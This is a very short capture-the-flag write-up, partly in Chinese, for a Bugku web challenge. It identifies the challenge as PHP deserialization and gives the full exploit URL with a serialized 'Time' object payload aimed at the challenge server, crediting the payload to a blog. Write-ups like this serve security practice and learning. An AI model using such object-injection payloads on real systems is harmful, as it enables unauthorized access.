bugku http://123.206.31.85:10012 rua233333

Please don't stop rua 233333

经典的反序列。。

于是设置参数为

http://123.206.31.85:10012/?rua=O:4:%22Time%22:4:{s:4:%22time%22;s:10:%220x4c06f350%22;s:8:%22password%22;a:2:{i:0;s:1:%22a%22;i:1;s:1:%22b%22;}}

payload来自  https://blog.csdn.net/weixin_42348709/article/details/84895343